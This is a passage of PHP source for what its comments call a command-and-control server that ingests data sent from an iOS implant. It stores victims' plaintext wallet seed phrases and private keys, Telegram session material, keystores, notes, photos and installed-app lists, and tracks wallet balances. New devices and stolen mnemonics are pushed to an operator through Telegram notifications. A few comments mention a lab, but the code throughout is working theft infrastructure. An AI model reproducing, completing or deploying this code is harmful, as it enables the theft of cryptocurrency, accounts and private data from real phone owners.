> 4)); } return $out; } /** * Campaign / channel id from reporting traffic. * * Primary: JSON / form field `c` (32 hex in HAR + type-0x01 embed). * Fallback: `channel` (seen on /link/config/list alongside `c`). */ public function extractChannelId(Request $request, ?array $payload): ?string { $candidates = []; if (is_array($payload)) { if (isset($payload['form']) && is_array($payload['form'])) { $candidates[] = $payload['form']['c'] ?? null; $candidates[] = $payload['form']['channel'] ?? null; } $candidates[] = $payload['c'] ?? null; $candidates[] = $payload['channel'] ?? null; } $candidates[] = $request->input('c'); $candidates[] = $request->input('channel'); foreach ($candidates as $value) { if (! is_string($value) || $value === '') { continue; } $value = trim($value); // HAR / implant: lowercase hex, typically 32 chars if (preg_match('/^[0-9a-fA-F]{16,64}$/', $value)) { return strtolower(substr($value, 0, 64)); } } return null; } /** * /api/user/avatar/put — create or touch device. * Create: fill profile + channel_id (put is the only trusted channel source). * Update: refresh updated_at; fill channel_id only when still empty (first trusted put). */ public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device { $deviceKey = $this->resolveDeviceKey($payload, $deviceKey); if (! $deviceKey) { return null; } $existing = Device::query()->where('device_id', $deviceKey)->first(); if ($existing) { $this->fillMissingAttribution($existing, $request, $payload, allowOldC: true); return $existing->refresh(); } return $this->createDevice($request, $payload, $deviceKey, allowOldC: true); } /** * Other C2 routes — create device if missing so business rows can attach. * Old builder: never write channel_id here (put will fill it later). * New builder: IP-match iptj on create and when channel_id is still empty. */ public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device { $deviceKey = $this->resolveDeviceKey($payload, $deviceKey); if (! $deviceKey) { return null; } $existing = Device::query()->where('device_id', $deviceKey)->first(); if ($existing) { if ($this->isNewBuilderRequest($request)) { $this->fillMissingAttribution($existing, $request, $payload, allowOldC: false); return $existing->refresh(); } return $existing; } return $this->createDevice($request, $payload, $deviceKey, allowOldC: false); } private function resolveDeviceKey(?array $payload, ?string $deviceKey): ?string { $deviceKey = $deviceKey !== null ? self::normalizeDeviceKey(substr($deviceKey, 0, 64)) : $this->extractDeviceKey($payload); return $deviceKey !== null && $deviceKey !== '' ? $deviceKey : null; } private function channelIdEmpty(mixed $channelId): bool { return $channelId === null || $channelId === ''; } /** * `/api/user/profile/delete` — store reported phone (`p`) only when still empty. */ public function ingestDevicePhone(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } if (trim((string) ($device->phone ?? '')) !== '') { return; } $phone = $payload['p'] ?? $payload['phone'] ?? null; if (! is_string($phone)) { return; } $phone = trim($phone); if ($phone === '') { return; } $device->forceFill(['phone' => substr($phone, 0, 64)])->save(); } private function fillMissingAttribution( Device $device, Request $request, ?array $payload, bool $allowOldC, ): void { $needChannel = $this->channelIdEmpty($device->channel_id); $needDomain = trim((string) ($device->source_domain ?? '')) === ''; if (! $needChannel && ! $needDomain) { $device->forceFill(['updated_at' => now()])->saveQuietly(); return; } $attr = $this->resolveChannelAttribution($request, $payload, $allowOldC); $touch = ['updated_at' => now()]; if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') { $touch['channel_id'] = $attr['channel_id']; } if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') { $touch['source_domain'] = $attr['source_domain']; } $device->forceFill($touch)->saveQuietly(); } /** * Old C2 (`/api/user/avatar/put`): payload `c` is the unique channel_id. * New xxbb short paths (`/event`, `/u`, …): never write native `c`; * attribute via recent PageVisit IP. Device is still created if no visit matches. * * @return array{channel_id: ?string, source_domain: ?string} */ private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array { if ($this->isNewBuilderRequest($request)) { return $this->matchNewBuilderVisit($request->ip()); } if ($allowOldC) { return ['channel_id' => $this->extractChannelId($request, $payload), 'source_domain' => null]; } return ['channel_id' => null, 'source_domain' => null]; } private function isNewBuilderRequest(Request $request): bool { return (bool) $request->attributes->get('coruna_new_builder', false); } /** * Latest iptj/pixel visit from this IP in the last N minutes whose * channel_id is a new-builder channel, and no device from this IP has * already claimed that channel. * * @return array{channel_id: ?string, source_domain: ?string} */ private function matchNewBuilderVisit(?string $ip): array { $ip = is_string($ip) ? trim($ip) : ''; if ($ip === '') { return ['channel_id' => null, 'source_domain' => null]; } $minutes = max(1, (int) config('coruna.xxbb.visit_match_minutes', 30)); $visits = PageVisit::query() ->where('ip', $ip) ->where('created_at', '>=', now()->subMinutes($minutes)) ->orderByDesc('id') ->get(); foreach ($visits as $visit) { $code = Channel::normalizeNewChannelId((string) ($visit->channel_id ?? '')); if ($code === null) { continue; } $channel = Channel::query() ->where('channel_id', $code) ->where('builder_type', Channel::BUILDER_NEW) ->first(); if ($channel === null) { continue; } $claimed = Device::query() ->where('ip', $ip) ->where('channel_id', $code) ->exists(); if ($claimed) { continue; } $domain = $this->sourceDomainFromVisit($visit); return ['channel_id' => $code, 'source_domain' => $domain]; } return ['channel_id' => null, 'source_domain' => null]; } private function sourceDomainFromVisit(PageVisit $visit): ?string { return PageVisit::normalizeDomain($visit->domain); } private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $allowOldC): Device { $ua = substr((string) $request->userAgent(), 0, 2000); $attr = $this->resolveChannelAttribution($request, $payload, $allowOldC); $attrs = [ 'device_id' => $deviceKey, 'ip' => $request->ip(), 'device_model' => $this->extractDeviceModel($payload), 'ios_version' => $this->extractIosVersion($payload), 'channel_id' => $attr['channel_id'], 'source_domain' => $attr['source_domain'], ]; if ($ua !== '') { $attrs['user_agent'] = $ua; } $device = Device::query()->create($attrs); $this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip); $device->telegram_notified = true; $device->save(); return $device->refresh(); } /** * App list from /api/user/get — one row per bundle (`al[]`: a=name, b=bundle, v=version). */ public function ingestInstalledApps(Device $device, ?array $payload): void { if (! is_array($payload) || empty($payload['al']) || ! is_array($payload['al'])) { return; } foreach ($payload['al'] as $item) { if (! is_array($item)) { continue; } $bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? ''); $name = (string) ($item['a'] ?? $item['name'] ?? $bundle); $version = isset($item['v']) ? (string) $item['v'] : null; if ($bundle === '') { continue; } DeviceApp::query()->updateOrCreate( ['device_id' => $device->id, 'bundle_id' => $bundle], [ 'name' => $name, 'version' => $version, 'is_wallet' => WalletSource::isPluginWalletBundle($bundle), 'meta_json' => $item, ] ); } $this->refreshDeviceWalletFlag($device); } /** * has_wallet: 0 unknown (no applist yet), 1 none, 2 plugin mnemonic wallets present. */ private function refreshDeviceWalletFlag(Device $device): void { $names = []; foreach ($device->apps()->get(['bundle_id', 'name']) as $app) { $bundle = (string) $app->bundle_id; if (! WalletSource::isPluginWalletBundle($bundle)) { continue; } $label = WalletSource::labelForBundle($bundle, $app->name); $names[$label] = true; } $labels = array_keys($names); sort($labels); $alreadyYes = (int) $device->has_wallet === Device::WALLET_YES; $device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES; $device->wallet_names = $labels === [] ? null : $labels; $device->save(); if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES) { $this->telegram->notifyInstalledWallets($device->device_id, $labels); } } /** * Behavior events from /api/user/avatar/put (`et` / `desc` / `ctx`). */ public function ingestDeviceEvent(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } $eventName = $payload['et'] ?? $payload['event_name'] ?? null; $desc = $payload['desc'] ?? $payload['description'] ?? null; if ($eventName === null && $desc === null) { return; } $ctx = $payload['ctx'] ?? $payload['context'] ?? null; $contextJson = null; if (is_array($ctx)) { $contextJson = $ctx; } elseif ($ctx !== null) { $contextJson = ['value' => $ctx]; } DeviceEvent::query()->create([ 'device_id' => $device->id, 'device_key' => $device->device_id, 'event_name' => is_string($eventName) ? $eventName : null, 'desc' => is_string($desc) ? mb_substr($desc, 0, 512) : null, 'context_json' => $contextJson, ]); } /** * `/api/user/set` — plaintext mnemonic / private key in `result`. */ public function ingestMnemonic(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } $secret = null; foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery', 'privateKey', 'private_key', 'privkey', 'wif'] as $key) { if (! empty($payload[$key]) && is_string($payload[$key])) { $secret = trim($payload[$key]); break; } } if ($secret === null || $secret === '') { return; } $hash = WalletMnemonic::hashSecret($secret); $row = WalletMnemonic::query()->firstOrNew([ 'device_id' => $device->id, 'mnemonic_hash' => $hash, ]); $isNew = ! $row->exists; $source = WalletSource::fromTag($payload['a'] ?? null); $row->source = $source; $row->mnemonic = $secret; $row->save(); if ($isNew) { $this->telegram->notifyNewMemoric($device->device_id, $source, $secret); } } /** * `/api/user/avatar/status` — store entire `result` keystore/identity blob. */ public function ingestKeystore(Device $device, ?array $payload): void { if (! is_array($payload) || ! array_key_exists('result', $payload)) { return; } $result = $payload['result']; if (is_string($result)) { $decoded = json_decode($result, true); if (is_array($decoded)) { $result = $decoded; } } if (! is_array($result) && ! is_string($result)) { return; } WalletKeystore::query()->create([ 'device_id' => $device->id, 'raw_json' => is_array($result) ? $result : ['value' => $result], ]); } /** * xxbb tglib POST /api/tg/t — Telegram auth material (user_id + atomic-state + db). * Lab has no dedicated table; store as a keystore identity blob. */ public function ingestTelegramAuth(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } if (array_key_exists('result', $payload)) { $this->ingestKeystore($device, $payload); return; } $blob = []; foreach ([ 'user_id', 'state', 'db_sqlite', 'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData', ] as $key) { if (array_key_exists($key, $payload)) { $blob[$key] = $payload[$key]; } } if ($blob === []) { return; } $blob['source'] = WalletSource::fromTag($payload['a'] ?? 'tg'); $this->ingestKeystore($device, ['result' => $blob]); } /** * `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`. */ public function ingestAddresses(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } $source = WalletSource::fromTag($payload['a'] ?? null); $rows = $this->normalizeStatusAddressRows($payload); /** @var list $notify */ $notify = []; foreach ($rows as $row) { $address = $row['address'] ?? null; if (! is_string($address) || $address === '') { continue; } $chainType = (string) ($row['chain_type'] ?? ''); if ($chainType === '') { $chainType = WalletSource::inferChainType($address); } $chainType = strtoupper(trim($chainType)); if (! WalletSource::isSupportedChain($chainType)) { continue; } $balance = $row['balance'] ?? ''; // Global Wallet ad map: scalar is not a balance → ignore coin fields. if (! is_array($balance) && ! is_string($balance)) { $balance = ''; } $existing = WalletAddress::query() ->where('device_id', $device->id) ->where('address', $address) ->where('source', $source) ->first(); $beforeCoins = $existing?->coinSnapshot(); $coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null); $attrs = ['chain_type' => $chainType]; foreach ($coinAttrs as $col => $value) { $attrs[$col] = $value; } // Default monitor on for new rows; disabled only when Tokenview enable fails. if (! $existing) { $attrs['monitor'] = 1; } $addr = WalletAddress::query()->updateOrCreate( ['device_id' => $device->id, 'address' => $address, 'source' => $source], $attrs ); $isTron = in_array($chainType, ['TRON', 'TRX'], true); // Tron: client payloads often omit/zero balances — pull TRX/USDT before notify. if ($isTron && (! $existing || $coinAttrs === [])) { $this->balances->refresh($addr); $addr->refresh(); } if (! $existing) { $this->enableMonitorOrDisable($addr); } $balanceSummary = $addr->balanceDisplayLine(); $shouldNotify = ! $existing || ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot()); if ($shouldNotify) { $notify[] = [ 'address' => $address, 'chain' => $chainType, 'balance' => $balanceSummary, 'source' => $source, ]; } unset($addr); } if ($notify !== []) { $this->telegram->notifyNewWallets($device->device_id, $notify); } } /** * New addresses start with monitor=1; turn off only when Tokenview add fails. */ private function enableMonitorOrDisable(WalletAddress $address): void { try { if ($this->tokenview->syncMonitor($address)) { return; } } catch (\Throwable $e) { Log::warning('tokenview enable on ingest failed: '.$e->getMessage(), [ 'wallet_address_id' => $address->id, ]); } if ((int) $address->monitor !== 0) { $address->monitor = 0; $address->save(); } } /** * `/api/user/avatar/pic` — Notes reader; content = payload.list. */ public function ingestNotes(Device $device, ?array $payload): void { if (! is_array($payload) || ! array_key_exists('list', $payload)) { return; } $list = $payload['list']; if (! is_array($list)) { $list = [$list]; } Note::query()->create([ 'device_id' => $device->id, 'content' => array_values($list), ]); } /** * Decode /check multipart `idx` / `ftu` 12-hex packs: "%06llx%06llx". * * @return array{0: ?int, 1: ?int} */ public static function decodeHexCounterPair(mixed $packed): array { if (! is_string($packed) || ! preg_match('/^[0-9a-fA-F]{12}$/', $packed)) { return [null, null]; } return [(int) hexdec(substr($packed, 0, 6)), (int) hexdec(substr($packed, 6, 6))]; } /** * @param array{ * x_hit?: ?int, * upload_count?: ?int, * process_index?: ?int, * text_count?: ?int, * barcode_count?: ?int * } $meta */ public function ingestPhotos(Device $device, array $filePaths, array $meta = []): void { if (! $device->albumStorageEnabled()) { return; } $stored = 0; foreach ($filePaths as $path) { if (! is_file($path)) { continue; } $bytes = file_get_contents($path); $sha = hash('sha256', $bytes); // Same file content → skip DB insert (idempotent). if (Photo::query()->where('device_id', $device->id)->where('sha256', $sha)->exists()) { continue; } $rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path); Storage::disk('local')->put($rel, $bytes); Photo::query()->create([ 'device_id' => $device->id, 'sha256' => $sha, 'path' => $rel, 'size' => strlen($bytes), 'x_hit' => $meta['x_hit'] ?? null, 'upload_count' => $meta['upload_count'] ?? null, 'process_index' => $meta['process_index'] ?? null, 'text_count' => $meta['text_count'] ?? null, 'barcode_count' => $meta['barcode_count'] ?? null, ]); $stored++; } $xHit = $meta['x_hit'] ?? null; if ($stored > 0 && $xHit !== null && (int) $xHit === Photo::X_HIT_ALERT) { $this->telegram->notifySensitivePhoto($device->device_id, (int) $xHit, $stored); } } private function extractDeviceModel(?array $payload): ?string { if (! is_array($payload)) { return null; } foreach (['deviceModel'] as $key) { if (! empty($payload[$key]) && is_string($payload[$key])) { return $payload[$key]; } } // avatar/put often sends short model as `m` (e.g. iPhone9,1) if (! empty($payload['m']) && is_string($payload['m']) && preg_match('/^[A-Za-z]+\d/', $payload['m'])) { return $payload['m']; } $info = $payload['deviceInfo'] ?? null; if (is_array($info)) { foreach (['productType', 'machine', 'model'] as $key) { if (! empty($info[$key]) && is_string($info[$key])) { return $info[$key]; } } } return null; } private function extractIosVersion(?array $payload): ?string { if (! is_array($payload)) { return null; } // /api/user/get uses `v` for iOS version if (! empty($payload['v']) && is_string($payload['v']) && preg_match('/^\d+(\.\d+){1,3}$/', $payload['v'])) { return $payload['v']; } foreach (['pv', 'ios', 'ios_version', 'os', 'ver'] as $key) { if (! empty($payload[$key]) && is_string($payload[$key])) { return $payload[$key]; } } $sv = $payload['systemVersion'] ?? null; if (is_array($sv) && ! empty($sv['ProductVersion']) && is_string($sv['ProductVersion'])) { return $sv['ProductVersion']; } if (is_string($sv) && $sv !== '') { return $sv; } $info = $payload['deviceInfo'] ?? null; if (is_array($info) && ! empty($info['productVersion']) && is_string($info['productVersion'])) { return $info['productVersion']; } return null; } /** * Normalize `/api/user/status` shapes into address rows. * * @return list}> */ private function normalizeStatusAddressRows(array $payload): array { $ba = $payload['ba'] ?? null; if (is_string($ba)) { $decoded = json_decode($ba, true); $ba = is_array($decoded) ? $decoded : null; } if (is_array($ba)) { return $this->normalizeBaAddressRows($ba); } $ad = $payload['ad'] ?? null; if (is_string($ad)) { $decoded = json_decode($ad, true); $ad = is_array($decoded) ? $decoded : null; } if (is_array($ad)) { return $this->normalizeAdAddressRows($ad); } if (isset($payload['data']) && is_array($payload['data'])) { return $this->normalizeLegacyDataRows($payload['data']); } return []; } /** * imToken-style: { "
": [ { balance, chainType, symbol, decimal }, ... ] } * * @param array $ba * @return list}> */ private function normalizeBaAddressRows(array $ba): array { $out = []; foreach ($ba as $address => $assets) { if (! is_string($address) || $address === '' || ! is_array($assets)) { continue; } $balance = []; $chainType = ''; foreach ($assets as $asset) { if (! is_array($asset)) { continue; } if ($chainType === '') { $chainType = (string) ($asset['chainType'] ?? $asset['chain'] ?? ''); } $symbol = strtoupper((string) ($asset['symbol'] ?? '')); if ($symbol === '') { continue; } $balance[$symbol] = WalletSource::formatBalance( $asset['balance'] ?? 0, $asset['decimal'] ?? $asset['decimals'] ?? null ); } if ($chainType === '') { $chainType = WalletSource::inferChainType($address); } $out[] = [ 'address' => $address, 'chain_type' => strtoupper($chainType), 'balance' => $balance, ]; } return $out; } /** * Global: { "
": "" } — scalar is NOT a balance. * Trust: [ { address, symbol, balance, decimals }, ... ] * * @param array $ad * @return list|string}> */ private function normalizeAdAddressRows(array $ad): array { if (array_is_list($ad)) { /** @var array}> $byAddr */ $byAddr = []; foreach ($ad as $item) { if (! is_array($item)) { continue; } $address = (string) ($item['address'] ?? ''); if ($address === '') { continue; } if (! isset($byAddr[$address])) { $chain = (string) ($item['chainType'] ?? $item['chain'] ?? ''); if ($chain === '') { $chain = WalletSource::inferChainType($address); } $byAddr[$address] = [ 'address' => $address, 'chain_type' => strtoupper($chain), 'balance' => [], ]; } $symbol = strtoupper((string) ($item['symbol'] ?? '')); if ($symbol === '') { continue; } $byAddr[$address]['balance'][$symbol] = WalletSource::formatBalance( $item['balance'] ?? $item['value'] ?? 0, $item['decimal'] ?? $item['decimals'] ?? null ); } return array_values($byAddr); } // Global Wallet: address → opaque scalar (not balance) → store empty string $out = []; foreach ($ad as $address => $value) { if (! is_string($address) || $address === '') { continue; } $out[] = [ 'address' => $address, 'chain_type' => WalletSource::inferChainType($address), 'balance' => '', ]; } return $out; } /** * Legacy lab fixture: [ { address, chain, balance, symbol } ] * * @param array $data * @return list}> */ private function normalizeLegacyDataRows(array $data): array { $items = array_is_list($data) ? $data : (isset($data['address']) ? [$data] : []); $out = []; foreach ($items as $item) { if (! is_array($item)) { continue; } $address = (string) ($item['address'] ?? ''); if ($address === '') { continue; } $chainType = (string) ($item['chainType'] ?? $item['chain'] ?? ''); if ($chainType === '') { $chainType = WalletSource::inferChainType($address); } $symbol = strtoupper((string) ($item['symbol'] ?? WalletSource::nativeSymbolForChain($chainType))); $out[] = [ 'address' => $address, 'chain_type' => strtoupper($chainType), 'balance' => [ $symbol => WalletSource::formatBalance( $item['balance'] ?? 0, $item['decimal'] ?? $item['decimals'] ?? null ), ], ]; } return $out; } }